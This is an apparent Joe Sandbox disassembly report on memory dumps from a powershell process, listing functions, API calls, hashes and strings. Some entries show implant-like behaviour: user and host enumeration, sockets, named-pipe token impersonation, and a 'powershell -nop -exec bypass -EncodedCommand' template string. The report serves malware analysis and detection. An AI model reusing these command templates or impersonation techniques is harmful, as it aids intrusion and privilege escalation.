_close_nolock.LIBCMT ref: 0000022EFA0D5CD0

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: _getptd_noexit$__doserrno__lock_fhandle_close_nolock_errno
String ID:
API String ID: 4060740672-0
Opcode ID: 8f1e5b792f872c4dc36995a7bc6d01a3aafca90ffb12f932fc30e24f319e98c6
Instruction ID: 1e022eec43365a84dafc436e4a5fe75cef15b94188db841e9664fe1580b8de20
Opcode Fuzzy Hash: 8f1e5b792f872c4dc36995a7bc6d01a3aafca90ffb12f932fc30e24f319e98c6
Instruction Fuzzy Hash: 2711D3237102806AFF156FA5BA8D35C3A51AF88761F6B1624AD150FFF2CE7C8481A320

Function 0000022EF9B13A0C Relevance: 11.5, APIs: 9, Instructions: 201COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 0000022EF9B13AA9

Part of subcall function 0000022EF9B2E684: _FF_MSGBANNER.LIBCMT ref: 0000022EF9B2E6B4
Part of subcall function 0000022EF9B2E684: _NMSG_WRITE.LIBCMT ref: 0000022EF9B2E6BE
Part of subcall function 0000022EF9B2E684: _callnewh.LIBCMT ref: 0000022EF9B2E6F2
Part of subcall function 0000022EF9B2E684: _errno.LIBCMT ref: 0000022EF9B2E6FD
Part of subcall function 0000022EF9B2E684: _errno.LIBCMT ref: 0000022EF9B2E708

malloc.LIBCMT ref: 0000022EF9B13AB3

Part of subcall function 0000022EF9B2E684: _callnewh.LIBCMT ref: 0000022EF9B2E718
Part of subcall function 0000022EF9B2E684: _errno.LIBCMT ref: 0000022EF9B2E71D

malloc.LIBCMT ref: 0000022EF9B13ABE
free.LIBCMT ref: 0000022EF9B13C7E
free.LIBCMT ref: 0000022EF9B13C86
free.LIBCMT ref: 0000022EF9B13C8E

Part of subcall function 0000022EF9B148F0: malloc.LIBCMT ref: 0000022EF9B1493A
Part of subcall function 0000022EF9B148F0: malloc.LIBCMT ref: 0000022EF9B14945
Part of subcall function 0000022EF9B148F0: free.LIBCMT ref: 0000022EF9B14A2C
Part of subcall function 0000022EF9B148F0: free.LIBCMT ref: 0000022EF9B14A34

free.LIBCMT ref: 0000022EF9B13C9A
free.LIBCMT ref: 0000022EF9B13CA7
free.LIBCMT ref: 0000022EF9B13CB4

Memory Dump Source

Source File: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EF9B10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22ef9b10000_powershell.jbxd

Yara matches

Similarity

API ID: free$malloc$_errno$_callnewh
String ID:
API String ID: 4160633307-0
Opcode ID: 930309f8498ff7a349f5473874db00cb4ae22164d30aab4612de4250541046de
Instruction ID: 72659dd0de3eb4987b4fe510d1a0713ab902633025b365e13c8208fa4ef68a15
Opcode Fuzzy Hash: 930309f8498ff7a349f5473874db00cb4ae22164d30aab4612de4250541046de
Instruction Fuzzy Hash: BA71282230478466EF329FA695687AE7791F7A4BC8F064029DD8647F86EB38C445E708

Function 0000022EFA0B460C Relevance: 11.5, APIs: 9, Instructions: 201COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 0000022EFA0B46A9

Part of subcall function 0000022EFA0CF284: _FF_MSGBANNER.LIBCMT ref: 0000022EFA0CF2B4
Part of subcall function 0000022EFA0CF284: _NMSG_WRITE.LIBCMT ref: 0000022EFA0CF2BE
Part of subcall function 0000022EFA0CF284: HeapAlloc.KERNEL32 ref: 0000022EFA0CF2D9
Part of subcall function 0000022EFA0CF284: _callnewh.LIBCMT ref: 0000022EFA0CF2F2
Part of subcall function 0000022EFA0CF284: _errno.LIBCMT ref: 0000022EFA0CF2FD
Part of subcall function 0000022EFA0CF284: _errno.LIBCMT ref: 0000022EFA0CF308

malloc.LIBCMT ref: 0000022EFA0B46B3

Part of subcall function 0000022EFA0CF284: _callnewh.LIBCMT ref: 0000022EFA0CF318
Part of subcall function 0000022EFA0CF284: _errno.LIBCMT ref: 0000022EFA0CF31D

malloc.LIBCMT ref: 0000022EFA0B46BE
free.LIBCMT ref: 0000022EFA0B487E
free.LIBCMT ref: 0000022EFA0B4886
free.LIBCMT ref: 0000022EFA0B488E

Part of subcall function 0000022EFA0B54F0: malloc.LIBCMT ref: 0000022EFA0B553A
Part of subcall function 0000022EFA0B54F0: malloc.LIBCMT ref: 0000022EFA0B5545
Part of subcall function 0000022EFA0B54F0: free.LIBCMT ref: 0000022EFA0B562C
Part of subcall function 0000022EFA0B54F0: free.LIBCMT ref: 0000022EFA0B5634

free.LIBCMT ref: 0000022EFA0B489A
free.LIBCMT ref: 0000022EFA0B48A7
free.LIBCMT ref: 0000022EFA0B48B4

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: free$malloc$_errno$_callnewh$AllocHeap
String ID:
API String ID: 3534990644-0
Opcode ID: cc81e054d2004eb51c8bee4b84b58d4814fb308bd44c01250cbaa5dfc0e514d5
Instruction ID: 87775b0fd298515e3e07855f3a3f9b85d3611fbf7d22b1f8a970de51a1170635
Opcode Fuzzy Hash: cc81e054d2004eb51c8bee4b84b58d4814fb308bd44c01250cbaa5dfc0e514d5
Instruction Fuzzy Hash: 5C7125223007C466EF209AA6B6687AE7791F78DBC8F024115DD468FFA6EB3DC505E700

Function 0000022EF9B1BE74 Relevance: 10.8, APIs: 6, Strings: 1, Instructions: 296COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0000022EF9B253EC: malloc.LIBCMT ref: 0000022EF9B25408

malloc.LIBCMT ref: 0000022EF9B1BF3B

Part of subcall function 0000022EF9B2E684: _FF_MSGBANNER.LIBCMT ref: 0000022EF9B2E6B4
Part of subcall function 0000022EF9B2E684: _NMSG_WRITE.LIBCMT ref: 0000022EF9B2E6BE
Part of subcall function 0000022EF9B2E684: _callnewh.LIBCMT ref: 0000022EF9B2E6F2
Part of subcall function 0000022EF9B2E684: _errno.LIBCMT ref: 0000022EF9B2E6FD
Part of subcall function 0000022EF9B2E684: _errno.LIBCMT ref: 0000022EF9B2E708

Part of subcall function 0000022EF9B2B630: _time64.LIBCMT ref: 0000022EF9B2B654
Part of subcall function 0000022EF9B2B630: malloc.LIBCMT ref: 0000022EF9B2B69C
Part of subcall function 0000022EF9B2B630: strtok.LIBCMT ref: 0000022EF9B2B700
Part of subcall function 0000022EF9B2B630: strtok.LIBCMT ref: 0000022EF9B2B711

Part of subcall function 0000022EF9B228A0: _time64.LIBCMT ref: 0000022EF9B228AE

Part of subcall function 0000022EF9B2DEA8: malloc.LIBCMT ref: 0000022EF9B2DEF8

Part of subcall function 0000022EF9B2DEA8: realloc.LIBCMT ref: 0000022EF9B2DF07

malloc.LIBCMT ref: 0000022EF9B1C04A
_snprintf.LIBCMT ref: 0000022EF9B1C0C1
_snprintf.LIBCMT ref: 0000022EF9B1C0E7
_snprintf.LIBCMT ref: 0000022EF9B1C10E
free.LIBCMT ref: 0000022EF9B1C2C6

Part of subcall function 0000022EF9B2A144: malloc.LIBCMT ref: 0000022EF9B2A178
Part of subcall function 0000022EF9B2A144: free.LIBCMT ref: 0000022EF9B2A32F

Strings

/'); %s, xrefs: 0000022EF9B1C0B2, 0000022EF9B1C0DA, 0000022EF9B1C0F1

Memory Dump Source

Source File: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EF9B10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22ef9b10000_powershell.jbxd

Yara matches

Similarity

API ID: malloc$_snprintf$_errno_time64freestrtok$_callnewhrealloc
String ID: /'); %s
API String ID: 1314452303-1283008465
Opcode ID: a14b20026d747f2b5753e6fc705179295a1c2f23b63bad27e5059ac536f54d83
Instruction ID: 83714c9e35bcb158ad9b8df8ca4f414ef135296f02d934a12a003b647fa048fd
Opcode Fuzzy Hash: a14b20026d747f2b5753e6fc705179295a1c2f23b63bad27e5059ac536f54d83
Instruction Fuzzy Hash: 06C1C12160024162FF76FBE2967D7A92391EBA5780F534028ADD54BFC7DE38C846E708

Function 0000022EFA0CB47C Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 258COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0000022EFA0C5FEC: malloc.LIBCMT ref: 0000022EFA0C6008

malloc.LIBCMT ref: 0000022EFA0CB528

Part of subcall function 0000022EFA0CF284: _FF_MSGBANNER.LIBCMT ref: 0000022EFA0CF2B4
Part of subcall function 0000022EFA0CF284: _NMSG_WRITE.LIBCMT ref: 0000022EFA0CF2BE
Part of subcall function 0000022EFA0CF284: HeapAlloc.KERNEL32 ref: 0000022EFA0CF2D9
Part of subcall function 0000022EFA0CF284: _callnewh.LIBCMT ref: 0000022EFA0CF2F2
Part of subcall function 0000022EFA0CF284: _errno.LIBCMT ref: 0000022EFA0CF2FD
Part of subcall function 0000022EFA0CF284: _errno.LIBCMT ref: 0000022EFA0CF308

Part of subcall function 0000022EFA0CEAA8: malloc.LIBCMT ref: 0000022EFA0CEAF8

GetComputerNameExA.KERNEL32 ref: 0000022EFA0CB5EA
GetComputerNameA.KERNEL32 ref: 0000022EFA0CB61F
GetUserNameA.ADVAPI32 ref: 0000022EFA0CB654

Part of subcall function 0000022EFA0BF014: WSASocketA.WS2_32 ref: 0000022EFA0BF042

malloc.LIBCMT ref: 0000022EFA0CB76D

Strings

VUUU, xrefs: 0000022EFA0CB6B0

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: malloc$Name$Computer_errno$AllocHeapSocketUser_callnewh
String ID: VUUU
API String ID: 632458648-2040033107
Opcode ID: 05713f2820868472ca49688c2b85268c5ac8a6a8808567d94079f7d4b5d3be16
Instruction ID: e9f5f054d17b13a76e91c9c0cc10bf645e20ef4b47ab82f0f52074734a7c5b33
Opcode Fuzzy Hash: 05713f2820868472ca49688c2b85268c5ac8a6a8808567d94079f7d4b5d3be16
Instruction Fuzzy Hash: 37A1F42670066066FF14EBE6EA593AD2291BB8D7C1F824025ED495FFF6DE3CC505A310

Function 0000022EF9B1E004 Relevance: 10.7, APIs: 5, Strings: 2, Instructions: 165COMMONLIBRARYCODE

Download Yara Rule

APIs

_snprintf.LIBCMT ref: 0000022EF9B1E0D3
_snprintf.LIBCMT ref: 0000022EF9B1E0FE
_snprintf.LIBCMT ref: 0000022EF9B1E11A
_snprintf.LIBCMT ref: 0000022EF9B1E1CF
_snprintf.LIBCMT ref: 0000022EF9B1E1E6

Strings

/'); %s, xrefs: 0000022EF9B1E0CA, 0000022EF9B1E0F5, 0000022EF9B1E1C4
rshell -nop -exec bypass -EncodedCommand "%s", xrefs: 0000022EF9B1E02A

Memory Dump Source

Source File: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EF9B10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22ef9b10000_powershell.jbxd

Yara matches

Similarity

API ID: _snprintf
String ID: /'); %s$rshell -nop -exec bypass -EncodedCommand "%s"
API String ID: 3512837008-1250630670
Opcode ID: 72e4e973a1d0442b98f7febb78707b45b3081222fbe35b5ecbc6412512dc3076
Instruction ID: 2c3fe712bfefbce3c0b0fef6ce5f3d6611d96ed12f1da5acd5054f8fc42777ab
Opcode Fuzzy Hash: 72e4e973a1d0442b98f7febb78707b45b3081222fbe35b5ecbc6412512dc3076
Instruction Fuzzy Hash: FF818C32600B84A5EF25DFA5DAA83D937A0F7A4784F464126DA8D03B99DF38C545E708

Function 0000022EFA0C1478 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 128processCOMMON

Download Yara Rule

APIs

Part of subcall function 0000022EFA0C5FEC: malloc.LIBCMT ref: 0000022EFA0C6008

GetStartupInfoA.KERNEL32 ref: 0000022EFA0C1540

Part of subcall function 0000022EFA0BFE54: MultiByteToWideChar.KERNEL32 ref: 0000022EFA0BFE81
Part of subcall function 0000022EFA0BFE54: MultiByteToWideChar.KERNEL32 ref: 0000022EFA0BFEA9

GetCurrentDirectoryW.KERNEL32 ref: 0000022EFA0C15CD
GetCurrentDirectoryW.KERNEL32 ref: 0000022EFA0C15DC
CreateProcessWithLogonW.ADVAPI32 ref: 0000022EFA0C1637
GetLastError.KERNEL32 ref: 0000022EFA0C1641

Strings

%s as %s\%s: %d, xrefs: 0000022EFA0C1647

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: ByteCharCurrentDirectoryMultiWide$CreateErrorInfoLastLogonProcessStartupWithmalloc
String ID: %s as %s\%s: %d
API String ID: 3435635427-816037529
Opcode ID: bd007c1fecfa8e9c64263907c3ef2a9985436de431c3054d3c53bc822cf7e9f1
Instruction ID: 76c73ae3a1af3ec4d2e66ba9eac83a4d9e5f7ce08d6fdfa30b900a834352b0a9
Opcode Fuzzy Hash: bd007c1fecfa8e9c64263907c3ef2a9985436de431c3054d3c53bc822cf7e9f1
Instruction Fuzzy Hash: 40515932204B8196EA60DB56F99875AB7A5F789B80F054025EE898BF6ADF3CC055DB00

Function 0000022EF9B20A94 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 126COMMON

Download Yara Rule

APIs

Part of subcall function 0000022EF9B253EC: malloc.LIBCMT ref: 0000022EF9B25408

Part of subcall function 0000022EF9B2FA20: _errno.LIBCMT ref: 0000022EF9B2F977
Part of subcall function 0000022EF9B2FA20: _invalid_parameter_noinfo.LIBCMT ref: 0000022EF9B2F982

fseek.LIBCMT ref: 0000022EF9B20B30

Part of subcall function 0000022EF9B302A4: _errno.LIBCMT ref: 0000022EF9B302CC
Part of subcall function 0000022EF9B302A4: _invalid_parameter_noinfo.LIBCMT ref: 0000022EF9B302D7

_ftelli64.LIBCMT ref: 0000022EF9B20B38

Part of subcall function 0000022EF9B30318: _errno.LIBCMT ref: 0000022EF9B30336
Part of subcall function 0000022EF9B30318: _invalid_parameter_noinfo.LIBCMT ref: 0000022EF9B30341

fseek.LIBCMT ref: 0000022EF9B20B48

Part of subcall function 0000022EF9B302A4: _fseek_nolock.LIBCMT ref: 0000022EF9B302F5

malloc.LIBCMT ref: 0000022EF9B20B88

Part of subcall function 0000022EF9B2E684: _FF_MSGBANNER.LIBCMT ref: 0000022EF9B2E6B4
Part of subcall function 0000022EF9B2E684: _NMSG_WRITE.LIBCMT ref: 0000022EF9B2E6BE
Part of subcall function 0000022EF9B2E684: _callnewh.LIBCMT ref: 0000022EF9B2E6F2
Part of subcall function 0000022EF9B2E684: _errno.LIBCMT ref: 0000022EF9B2E6FD
Part of subcall function 0000022EF9B2E684: _errno.LIBCMT ref: 0000022EF9B2E708

Part of subcall function 0000022EF9B1C444: malloc.LIBCMT ref: 0000022EF9B1C457

fclose.LIBCMT ref: 0000022EF9B20C45

Strings

mode, xrefs: 0000022EF9B20B07

Memory Dump Source

Source File: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EF9B10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22ef9b10000_powershell.jbxd

Yara matches

Similarity

API ID: _errno$_invalid_parameter_noinfomalloc$fseek$_callnewh_fseek_nolock_ftelli64fclose
String ID: mode
API String ID: 1756087678-2976727214
Opcode ID: f827565397daa4a866320a6784096609c7711a7c42725b9a2a2b01c24697e092
Instruction ID: 16411d9630c4d4155a4210e0bd83e1825026cadf346ba391e05b58ef8e233970
Opcode Fuzzy Hash: f827565397daa4a866320a6784096609c7711a7c42725b9a2a2b01c24697e092
Instruction Fuzzy Hash: 0141F621304240A2EF25EB92A63D3A97351F7E8BD0F528125AE9E07FD6DE3CC5419B08

Function 0000022EF9B28620 Relevance: 10.6, APIs: 6, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

malloc.LIBCMT ref: 0000022EF9B2864F

Part of subcall function 0000022EF9B2E684: _FF_MSGBANNER.LIBCMT ref: 0000022EF9B2E6B4
Part of subcall function 0000022EF9B2E684: _NMSG_WRITE.LIBCMT ref: 0000022EF9B2E6BE
Part of subcall function 0000022EF9B2E684: _callnewh.LIBCMT ref: 0000022EF9B2E6F2
Part of subcall function 0000022EF9B2E684: _errno.LIBCMT ref: 0000022EF9B2E6FD
Part of subcall function 0000022EF9B2E684: _errno.LIBCMT ref: 0000022EF9B2E708

_snprintf.LIBCMT ref: 0000022EF9B28667

Part of subcall function 0000022EF9B2EA3C: _errno.LIBCMT ref: 0000022EF9B2EA73
Part of subcall function 0000022EF9B2EA3C: _invalid_parameter_noinfo.LIBCMT ref: 0000022EF9B2EA7E

free.LIBCMT ref: 0000022EF9B2867E

Part of subcall function 0000022EF9B2E644: _errno.LIBCMT ref: 0000022EF9B2E664

malloc.LIBCMT ref: 0000022EF9B286CE
_snprintf.LIBCMT ref: 0000022EF9B286E6
free.LIBCMT ref: 0000022EF9B2870E

Strings

/'); %s, xrefs: 0000022EF9B286D3

Memory Dump Source

Source File: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EF9B10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22ef9b10000_powershell.jbxd

Yara matches

Similarity

API ID: _errno$_snprintffreemalloc$_callnewh_invalid_parameter_noinfo
String ID: /'); %s
API String ID: 761449704-1283008465
Opcode ID: 6cfeb8f42d39390d21f7f655b5309285a784ce0f998201f3a4c834a9ff33a05d
Instruction ID: 877a307086af4afeed53347a6524cb185654bc7b9780a231ff635e72413e8f5e
Opcode Fuzzy Hash: 6cfeb8f42d39390d21f7f655b5309285a784ce0f998201f3a4c834a9ff33a05d
Instruction Fuzzy Hash: 4031A11120028125EE3B9FA76E383A56B51B776FD0F4A8121DEE507FA6CB38C442B318

Function 0000022EFA0CE98C Relevance: 10.6, APIs: 7, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0000022EFA0CE9D7
OpenProcessToken.ADVAPI32 ref: 0000022EFA0CE9FB
GetLastError.KERNEL32 ref: 0000022EFA0CEA05

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: ErrorLast$OpenProcessToken
String ID:
API String ID: 2009710997-0
Opcode ID: 12a3f9e128b967964898bf965f43ef985f021f837df021f2e119c6413e458a11
Instruction ID: 03d94992a3ae72ea466c6fb797f3e65b8eedb150cb5f60ac6967b8558da15d14
Opcode Fuzzy Hash: 12a3f9e128b967964898bf965f43ef985f021f837df021f2e119c6413e458a11
Instruction Fuzzy Hash: 1F31B425704701A6FF149BE2F69875A67A1EB8CF90F164038AA458BFB6DE3CC445BB40

Function 0000022EF9B2F210 Relevance: 10.6, APIs: 7, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000022EF9B2F236

Part of subcall function 0000022EF9B31118: _getptd_noexit.LIBCMT ref: 0000022EF9B3111C

_invalid_parameter_noinfo.LIBCMT ref: 0000022EF9B2F242
__crtIsPackagedApp.LIBCMT ref: 0000022EF9B2F253
_dosmaperr.LIBCMT ref: 0000022EF9B2F29D

Memory Dump Source

Source File: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EF9B10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22ef9b10000_powershell.jbxd

Yara matches

Similarity

API ID: Packaged__crt_dosmaperr_errno_getptd_noexit_invalid_parameter_noinfo
String ID:
API String ID: 2917016420-0
Opcode ID: 6bd0c9401fb351ee2ef62b7ec5c1d05d22ccd8d85f9d07845cb75c559d0d09e7
Instruction ID: 2ebe1e40e5214eab50b005d072890bc01db234cda7c889dce1a58a24a82680c0
Opcode Fuzzy Hash: 6bd0c9401fb351ee2ef62b7ec5c1d05d22ccd8d85f9d07845cb75c559d0d09e7
Instruction Fuzzy Hash: C8312661700B00A2FF319FE69A2832D67D5EBA6B91F564224EE8947FD5DF3CC000A308

Function 0000022EF9B3EFD0 Relevance: 10.6, APIs: 7, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0000022EF9B3F004

Part of subcall function 0000022EF9B30A00: _getptd.LIBCMT ref: 0000022EF9B30A16
Part of subcall function 0000022EF9B30A00: __updatetlocinfo.LIBCMT ref: 0000022EF9B30A4B
Part of subcall function 0000022EF9B30A00: __updatetmbcinfo.LIBCMT ref: 0000022EF9B30A72

_errno.LIBCMT ref: 0000022EF9B3F01F
_invalid_parameter_noinfo.LIBCMT ref: 0000022EF9B3F02A

Memory Dump Source

Source File: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EF9B10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22ef9b10000_powershell.jbxd

Yara matches

Similarity

API ID: Locale$UpdateUpdate::___updatetlocinfo__updatetmbcinfo_errno_getptd_invalid_parameter_noinfo
String ID:
API String ID: 3191669884-0
Opcode ID: 17da934d4d304edacbb08e48815c32878d4d79cd43a7a40298e59a88dbb9cc3b
Instruction ID: ce831bb16d0a7389648152f731d7bcc5e6e5ad9f6d6f072be8502b81ced21420
Opcode Fuzzy Hash: 17da934d4d304edacbb08e48815c32878d4d79cd43a7a40298e59a88dbb9cc3b
Instruction Fuzzy Hash: 02318D72304784A5FE30DF969658B9DB6A4E764FE1F168121EA9403F85CB74C841A704

Function 0000022EFA0DFBD0 Relevance: 10.6, APIs: 7, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0000022EFA0DFC04

Part of subcall function 0000022EFA0D1600: _getptd.LIBCMT ref: 0000022EFA0D1616
Part of subcall function 0000022EFA0D1600: __updatetlocinfo.LIBCMT ref: 0000022EFA0D164B
Part of subcall function 0000022EFA0D1600: __updatetmbcinfo.LIBCMT ref: 0000022EFA0D1672

_errno.LIBCMT ref: 0000022EFA0DFC1F
_invalid_parameter_noinfo.LIBCMT ref: 0000022EFA0DFC2A

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: Locale$UpdateUpdate::___updatetlocinfo__updatetmbcinfo_errno_getptd_invalid_parameter_noinfo
String ID:
API String ID: 3191669884-0
Opcode ID: 04a51c6534ba67d8c2ce71a0e6c0b8946822a3beaaa0ad6abf8e1e016199c0f5
Instruction ID: 7343c49ab22b2b13b5b15b93ce993aac7d1db3bfbf63e65f01c1d23ab9afe405
Opcode Fuzzy Hash: 04a51c6534ba67d8c2ce71a0e6c0b8946822a3beaaa0ad6abf8e1e016199c0f5
Instruction Fuzzy Hash: 08314F73304784A5EB209F91E68875DB6A4F74CBE4F569121AE580BFA5CF38C851E710

Function 0000022EFA0C596C Relevance: 10.6, APIs: 7, Instructions: 52COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0000022EFA0C597D
ioctlsocket.WS2_32 ref: 0000022EFA0C599E
GetTickCount.KERNEL32 ref: 0000022EFA0C59E3
ioctlsocket.WS2_32 ref: 0000022EFA0C5A05

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: CountTickioctlsocket
String ID:
API String ID: 3686034022-0
Opcode ID: 178b23397deac81d3d51abbf71857af196517098d1f0b7b181b2ee049de2b99e
Instruction ID: 45c1ca25f4d7b135b49c5cc18677680f2384c90284a63fde4e6c49ca93117585
Opcode Fuzzy Hash: 178b23397deac81d3d51abbf71857af196517098d1f0b7b181b2ee049de2b99e
Instruction Fuzzy Hash: A811C421200A8567FF108BE5F98C359A360E78CB64F520264DA498AFF0DFBCD889B710

Function 0000022EFA0C0AA0 Relevance: 10.5, APIs: 7, Instructions: 45pipethreadfileCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0000022EFA0C0AC6
ConnectNamedPipe.KERNEL32 ref: 0000022EFA0C0ADC
ReadFile.KERNEL32 ref: 0000022EFA0C0B06
ImpersonateNamedPipeClient.ADVAPI32 ref: 0000022EFA0C0B17
GetCurrentThread.KERNEL32 ref: 0000022EFA0C0B21
OpenThreadToken.ADVAPI32 ref: 0000022EFA0C0B39
DisconnectNamedPipe.KERNEL32 ref: 0000022EFA0C0B4F

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
